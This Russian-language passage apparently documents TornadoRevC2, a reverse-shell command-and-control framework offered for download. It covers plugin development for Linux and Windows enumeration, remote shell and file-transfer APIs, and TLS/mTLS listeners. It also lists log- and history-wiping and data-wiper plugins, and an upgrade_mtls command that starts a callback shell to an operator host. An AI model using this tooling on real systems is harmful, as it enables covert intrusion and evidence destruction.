  • Добавляет отступы к вашему исходному коду внутри блока try/except
  • Определяет _emit(obj) для записи __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  • Выводит {"error": "...", "traceback": "..."} при необработанных исключениях
  • Кодирует скрипт для встроенного выполнения через python3 -c (или запасной вариант python2)
  • Переключается на поочерёдную выгрузку в /tmp только когда закодированная полезная нагрузка превышает ~4000 байт

Предпочитайте нативные команды:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""

result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)

root@kitploit:~
**Рекомендации:**

- Используйте `subprocess.check_output(..., timeout=N)` для каждой внешней команды.
- Обрезайте большие списки перед выводом (ограничение 50–80 записей).
- Обрабатывайте отсутствующие инструменты корректно — оставляйте разделы пустыми вместо выброса исключения.
- Избегайте встраивания маркерных строк в вывод; плагин `history` вычищает `__T_PLUGIN_*__` из собранного текста именно по этой причине.
- Делайте коллекторы компактными, чтобы оставаться в пределах лимита встроенного размера и избегать промежуточного размещения в `/tmp`.

### Коллекторы Windows

Коллекторы Windows — это строки сценариев PowerShell, возвращаемые из `_build_windows_command()`.

**Структура:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

Рекомендации:

  • Всегда устанавливайте $ErrorActionPreference='SilentlyContinue' в начале.
  • Используйте -EA 0 (ErrorAction SilentlyContinue) для командлетов, которые могут не работать на старых системах.
  • Требуется удвоение фигурных скобок внутри Python f-строк и raw f-строк: {{ и }} для хеш-таблиц и блоков скриптов PowerShell.
  • Используйте [ordered]@{{...}} для сохранения порядка ключей в выводе JSON.
  • Предпочитайте встроенные командлеты (Get-NetTCPConnection, Get-Process, netsh, wevtutil) внешним инструментам.
  • Оборачивайте каждый логический раздел в собственный try/catch, чтобы одна ошибка не прерывала работу всего сборщика.
  • В интерактивных сессиях PowerShell скрипты доставляются внутри процесса через win_client.py для надёжного захвата вывода.

Альтернатива: Для плагинов только для Windows с минимальным количеством точек входа используйте одну функцию build_command():```python

tornadorevc2/plugins/windows/services.py

@plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)

root@kitploit:~
### Соглашения о полезной нагрузке JSON

Коллекторы должны возвращать сериализуемый в JSON словарь. Средство запуска и форматтеры ожидают согласованного использования ключей:

| Ключ | Тип | Назначение |
|-----|------|---------|
| `summary` | `dict` | Высокоуровневые счётчики и статистика; отображается первым с помощью `format_generic_report()` |
| `error` | `str` | **Жёсткий сбой** — средство запуска выводит ошибку и возвращает код выхода 1 |
| `traceback` | `str` | Необязательно; регистрируется как деталь, когда установлен `error` |
| `reason` | `str` | **Мягкий сбой** — используйте с пользовательскими форматтерами (например, буфер обмена недоступен) |
| `ok` | `bool` | Флаг успеха для операционных плагинов (снимок экрана, буфер обмена) |
| Списки `dict` | `list` | Отображаются как таблицы с помощью `format_generic_report()` |
| Списки `str` | `list` | Отображаются как маркированные списки |
| Вложенный `dict` | `dict` | Отображается как разделы с метками |

**Плавная деградация:** Для многосекционной перечисления используйте отдельные ключи словаря для каждой секции и перехватывайте исключения локально. Не устанавливайте `error` верхнего уровня, если только весь коллектор не завершился сбоем — частичные результаты предпочтительнее.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

Пользовательские форматтеры

Передайте пользовательский форматтер в run_collector_plugin вместо format_generic_report:```python from tornadorevc2.plugins.shared.common import format_section, format_list_section

def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)

root@kitploit:~
Переиспользуемые вспомогательные функции в `plugins/shared/common.py`:

| Функция | Назначение |
|----------|---------|
| `format_generic_report(data, title='Results')` | Рендерер таблиц/секций по умолчанию |
| `format_section(title, fields, width=22)` | Секция «ключ-значение» |
| `format_list_section(title, items, empty='(none)')` | Маркированный список |
| `format_table_section(title, rows, columns)` | Строки словаря как столбцы |
| `format_firewall_report`, `format_memorymap_report`, etc. | Форматтеры для конкретных плагинов |

### Платформозависимые плагины

**Только для Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

Только для Linux:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )

root@kitploit:~
**Кроссплатформенность с раздельными сборщиками:**

Некоторые общие плагины делегируют работу модулям сборки для конкретных платформ (например, `virtualization` импортирует из `linux/virtualization.py` и `windows/virtualization.py`). Точка входа `@plugin.command` остаётся в `shared/`; модули сборки в `linux/` или `windows/` не содержат декоратора и не регистрируются как независимые плагины.

### Внешние плагины

Внешние плагины позволяют расширять TornadoRevC2 без изменения репозитория.

**Настройка:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

Рабочий процесс:```bash

From the handler console

plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin

root@kitploit:~
**Внешний и встроенный жизненный цикл:**

| Действие | Встроенный плагин | Внешний плагин |
|--------|-----------------|-----------------|
| `plugins unload` | Мягко отключён (модуль остаётся импортированным) | Полностью выгружен и снят с регистрации |
| `plugins reload` | Повторно импортирует модуль, очищает устаревшие регистрации команд | Удаляет из `sys.modules`, повторно импортирует с диска |
| Запуск | Автоматически загружается | Загружается по требованию |

Внешние модули импортируются как `tornado_ext_plugin_<name>` во избежание конфликтов пространств имён.

### API SessionContext

Каждый обработчик получает `SessionContext`, обёртывающий обработчик и клиентский сокет:

**Свойства метаданных:**

| Свойство | Тип | Описание |
|----------|------|-------------|
| `session_id` | `str` | Назначенный идентификатор сессии |
| `platform` | `str` | `unix`, `windows` или `unknown` |
| `is_windows` / `is_unix` | `bool` | Удобные флаги платформы |
| `sysinfo` | `dict` | Кэшированная информация о хосте из сбора `sysinfo` |
| `identity` | `dict` | Метаданные идентичности/отпечатка сессии |
| `addr` | `tuple` | Удалённый адрес |
| `tls` | `bool` | Использует ли сессия TLS |
| `name` | `str` | Понятное имя, назначенное оператором |
| `fingerprint` | `str` | Стабильный отпечаток хоста |
| `logger` | `SessionLogger` | Записывающее устройство логов для сессии (может быть `None`) |
| `colors` | `dict` | Коды цветов консоли |
| `socket` | socket | Необработанный клиентский сокет (для продвинутого использования) |

**Методы выполнения:**

| Метод | Описание |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Отправить команду, дождаться вывода, вернуть строку |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Потоковый вывод с обнаружением простоя; полезно для длительных команд |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Выполнить команду, соответствующую платформе, и извлечь помеченную полезную нагрузку |
| `get_cwd()` | Вернуть удалённый рабочий каталог |
| `collect_sysinfo(mode='stealth')` | Запустить сбор информации о хосте |

**Методы передачи:**

| Метод | Описание |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Загрузить файл на цель |
| `download(remote_path, local_path, resume=False)` | Скачать файл с цели |
| `verify_remote(remote_path)` | Проверить размер удалённого файла и SHA-256 |

**Логирование и вывод:**

| Метод | Описание |
|--------|-------------|
| `print(text, color=None)` | Вывести в консоль оператора с опциональным цветом (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Добавить событие с меткой времени в `session.log` |
| `log_command(cmd, output)` | Записать команду и вывод в `session.log` |
| `log_plugin_result(name, report, detail='')` | Записать отчёт в `logs/<session>/plugins/<name>_<timestamp>.log` |

### Обработка ошибок и коды возврата

| Возврат | Значение | Поведение обработчика |
|--------|---------|------------------|
| `0` | Успех | Предупреждение не отображается |
| `1` (или любое ненулевое) | Ошибка | Жёлтое предупреждение: `Plugin 'name' returned code N` |
| Неперехваченное исключение | Ошибка | Красное сообщение об ошибке; записывается в лог сессии |

**Режимы отказа коллектора** (обрабатываются `run_collector_plugin`):

| Условие | Поведение |
|-----------|----------|
| Тайм-аут / нет маркеров в выводе | Выход 1, запись "no response" |
| Вывод не является допустимым JSON | Выход 1, запись необработанного вывода (усечённого) как detail |
| Присутствует `data["error"]` | Выход 1, вывод ошибки и трассировки |
| Частичные отказы секций | **Не** должны устанавливать `error` верхнего уровня; оставить секцию пустой |

**Мягкие отказы** (операционные плагины): используйте `reason` или `ok: false` и обрабатывайте в пользовательском форматтере или обработчике, а не полагайтесь на жёсткую проверку `error` раннера.

### Лучшие практики

1. **Предпочитайте нативные команды ОС** вместо загружаемых инструментов — это соответствует дизайну фреймворка с минимальными зависимостями.
2. **Не записывайте файлы на цели** для перечисления; возвращайте данные через канал оболочки. Операционные плагины (wiper, historydel) являются исключениями с чётким назначением.
3. **Деградируйте изящно** — проверяйте каждый бэкенд независимо; пустые секции лучше полного отказа.
4. **Ограничивайте размер вывода** — обрезайте списки до 50–80 элементов; усекайте длинные строки до 200–500 символов.
5. **Устанавливайте реалистичные тайм-ауты** — быстрые проверки: 15–30 с; полное перечисление: 45–75 с.
6. **Логируйте последовательно** — вызывайте `session.log_event()` в начале, `session.log_plugin_result()` по завершении, `session.log_command()` для экспорта транскрипта.
7. **Проверяйте аргументы заранее** — возвращайте 1 с сообщением об использовании перед отправкой чего-либо на цель.
8. **Тестируйте из обеих консолей** — основной обработчик (`run plugin <ID>`) и присоединённая сессия (`switch`, затем `run plugin`).
9. **Используйте `plugins reload`** во время разработки, чтобы подхватывать изменения без перезапуска обработчика.
10. **Удаляйте чувствительные маркеры** из собранного вывода, если ваш плагин читает произвольное содержимое файлов.

### Эталонные реализации

| Плагин | Файл | Шаблон | Примечания |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Кроссплатформенный коллектор | Многобэкендовая изящная деградация |
| `ports` | `plugins/shared/ports.py` | Кроссплатформенный коллектор | Нативные `ss` / `Get-NetTCPConnection` |
| `history` | `plugins/shared/history.py` | Кроссплатформенный коллектор | Сборщики Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | Пользовательский обработчик | Аргумент PID, динамический сборщик |
| `screenshot` | `plugins/shared/screenshot.py` | Пользовательский обработчик | Base64 в JSON; сохранение PNG на стороне оператора |
| `clipboard` | `plugins/shared/clipboard.py` | Пользовательский обработчик | Мягкий отказ через поле `reason` |
| `historydel` | `plugins/shared/historydel.py` | Пользовательский обработчик | Деструктивный; очистка оболочки после сбора |
| `wiper` | `plugins/shared/wiper.py` | Пользовательский обработчик | Деструктивный; проверка аргумента пути |
| `services` | `plugins/windows/services.py` | Коллектор только для Windows | Минимальная точка входа |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Коллектор только для Windows | Деструктивный; отчёт об отказах по каждому журналу |
| `rdp` | `plugins/windows/rdp.py` | Коллектор только для Windows | Перечисление реестра и брандмауэра |
| `virtualization` | `plugins/shared/virtualization.py` | Общая точка входа + раздельные сборщики | Импортирует сборщики `linux/` и `windows/` |
| `secrets` | `plugins/linux/secrets.py` | Коллектор только для Linux | Листинг с ограничением по платформе |

Для новых плагинов перечисления начните с `run_collector_plugin` в `plugins/shared/runner.py` и скопируйте структуру из `firewall.py` или `ports.py`. Для плагинов с аргументами или побочными эффектами обратитесь к `memorymap.py` или `wiper.py`.

---

## Логирование сессий

Каждая сессия записывает в изолированный каталог в `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

Журналы плагина содержат отчёт, удобочитаемый для человека, и, когда это применимо, необработанные данные JSON, возвращённые удалённым сборщиком.


Структура проекта```text

TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)

root@kitploit:~
---

## Конфигурация TLS и mTLS

TornadoRevC2 запускает три изолированных слушателя, каждый со своим источником сертификатов. Всё в `tls_certs/` и `mtls_certs/` автоматически генерируется при первом запуске и никогда не перезаписывается.

| Слушатель | Порт | Аутентификация клиента | Сертификаты |
|----------|------|-------------|--------------|
| TCP | `4444` | нет | — |
| TLS | `8443` | только сервер | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | взаимная (требуется сертификат клиента) | пакет `mtls_certs/` |

### TLS

Автоматически генерируется как самоподписанная пара (`CN=localhost`, RSA-2048, 3650 дней).

Чтобы использовать собственные:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

Если клиент подключается по IP-адресу, сертификат сервера должен включать этот IP в Subject Alternative Name (SAN). Избегайте отключения проверки имени хоста, если для этого нет особой причины.

mTLS

При первом запуске под mtls_certs/ создаётся полная PKI:

  • ca.pem / ca.key — самоподписанный CA (RSA-4096, CN=TornadoRevC2-mTLS-CA)
  • server-mtls.pem / server-mtls.key — сертификат сервера, подписанный CA
  • client.pem / client.key — сертификат клиента, подписанный CA
  • ca.srl — счётчик серийных номеров OpenSSL, создаваемый при подписывании сертификата

Передайте client.pem + client.key + ca.pem вместе с авторизованным клиентом. Клиент должен предъявить свой сертификат при подключении, иначе рукопожатие будет отклонено.

Начните с явных путей:```bash python tornadorevc2.py -H 0.0.0.0 -mp 9443
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key

root@kitploit:~
### Обновление активной сессии до mTLS

Существующие сессии на простом TCP или TLS с аутентификацией сервера можно перевести на mTLS-листенер без перезапуска обработчика. Плагин `upgrade_mtls` загружает `client.pem`, `client.key` и `ca.pem` на цель, запускает фоновую оболочку, которая предъявляет клиентский сертификат, и (по умолчанию) удаляет пакет с диска после установления новой сессии.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls

Флаги

ФлагПо умолчанию
-H / --host0.0.0.0
-p / --port4444
-tp / --tls-port8443
-mp / --mtls-port9443
-c / --cert, -k / --keytls_certs/server.{pem,key}
--mtls-ca-cert / --mtls-ca-keymtls_certs/ca.{pem,key}
--mtls-server-cert / --mtls-server-keymtls_certs/server-mtls.{pem,key}
--mtls-client-cert / --mtls-client-keymtls_certs/client.{pem,key}

Лицензия

Этот проект лицензирован под GNU General Public License v3.0.

Скачать инструмент